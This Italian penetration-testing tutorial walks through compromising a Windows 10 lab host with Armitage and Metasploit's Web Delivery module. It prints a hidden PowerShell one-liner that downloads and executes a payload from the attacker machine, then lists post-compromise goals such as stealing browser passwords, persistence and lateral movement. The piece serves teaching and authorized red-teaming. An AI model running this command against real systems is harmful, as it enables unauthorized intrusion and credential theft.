Durante un attività di Red Teaming o Penetration Testing, gli hacker etici (meglio definirli come Penetration Tester) effettuano attività di incursione informatica nei sistemi di una azienda, previa autorizzazione.

Come un Penetration Tester può ottenere il controllo di un sistema, sia esso un server, una workstation, uno smartphone o un dispositivo connesso? Deve trovare il modo di eseguire comandi o codice nel sistema target.

Uno degli strumenti più utilizzati nel settore è sicuramente Metasploit (ma esistono diverse alternative).

Armitage è un interfaccia grafica che sfrutta le potenzialità di Metasploit. La funzionalità di collaboration, per mezzo del comando teamserver, è particolarmente utile durante le attività in team.

Le funzionalità di Armitage permettono di:

  • condividere la stessa sessione metasploit
  • condividere hosts, dati e file scaricati dai sistemi target
  • comunicare con il team
  • creare script per attività di automation

Scenario d’attacco

In questo esempio la postazione dell’attaccante (Kali Linux) si trova all’interno della stessa rete del target (Windows 10).

Subnet: 10.0.2.0/24
Kali Linux: 10.0.2.15
Windows 10: 10.0.2.4

Ipotizzando di poter accedere fisicamente alla postazione Windows e poter lanciare dei comandi, abbiamo deciso di utilizzare Powershell per eseguire dei comandi che ci permetteranno di controllare la postazione (Web Delivery).

Configurazione attaccante (Kali Linux)

Per quanto riguarda il sistema Kali Linux, è necessario procedere con l’installazione di Armitage:

root@kali:~# apt update
root@kali:~# apt install armitage
root@kali:~# msfdb init
root@kali:~# service postgresql start
root@kali:~# armitage

Configurazione target (Windows 10)

Per quanto riguarda la configurazione del sistema target (Windows 10) abbiamo disattivato l’AntiVirus Windows Defender. Questo perchè il codice Powershell verrebbe immediatamente identificato come malevolo.

E’ ovviamente possibile generare del codice che superi i sistemi di protezione come quello di un AntiVirus. Tratteremo questo argomento in un prossimo articolo.

Command&Control – Kali

Il server di comando e controllo (denominato anche anche C2, C&C) in questo caso coincide con la macchina dell’attaccante ed è il sistema utilizzato per controllare i sistemi compromessi.

Per il controllo della postazione utilizziamo il modulo Web Delivery:

  • exploit > multi > script > web delivery


Comando Powershell:

powershell.exe -nop -w hidden -c $s=new-object net.webclient;$s.proxy=[Net.WebRequest]::GetSystemWebProxy();$s.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $s.downloadstring('http://10.0.2.15:8080/uyyPYd62NNpvHHU'); 


Risultato dell’avvenuta compromissione:

In questa posizione sia un criminale che un penetration tester può tipicamente muoversi effettuando:

Questa fase dell’attacco corrisponde allo stadio numero 6 “Command & Control” descritto nel Cyber Kill Chain:

E’ possibile interagire con il sistema e passare alla fase 7 del Cyber Kill Chain “Actions on objectives” enumerando il sistema, il dominio, ottenendo le password dei browser, effettuando attività di persistenza o lateral movement, e così via :

L’enumerazione del sistema è uno step fondamentale per capire il contesto e ottenere maggiori informazioni che riguardano il sistema compromesso:

Conclusioni

Gli strumenti e le operazioni fin qui descritte sono tipiche attività di Red Teaming e coincidono con le attività svolte dai Cyber-criminali. In quest’ultimo caso ovviamente sono presenti ulteriori layer di complessità dettate dall’ambiente attaccato, dai sistemi di protezione che è necessario aggirare, da filtri e limitazioni di ogni genere.

Difendersi da questi attacchi è possibile adottando una serie di soluzioni tecnologiche e di attività specialistiche. La difesa di un infrastruttura non può prescindere infatti da attività di:

  • Protezione 
    • AntiVirus, Firewall, AntiSpam, Sandbox, WAF e IPS sono indispensabili ma possono essere facilmente elusi
  • Rilevamento
    • Tecnologie ed attività di monitoraggio e Threat Hunting svolte da analisti
  • Risposta
    • Attività di Incident Response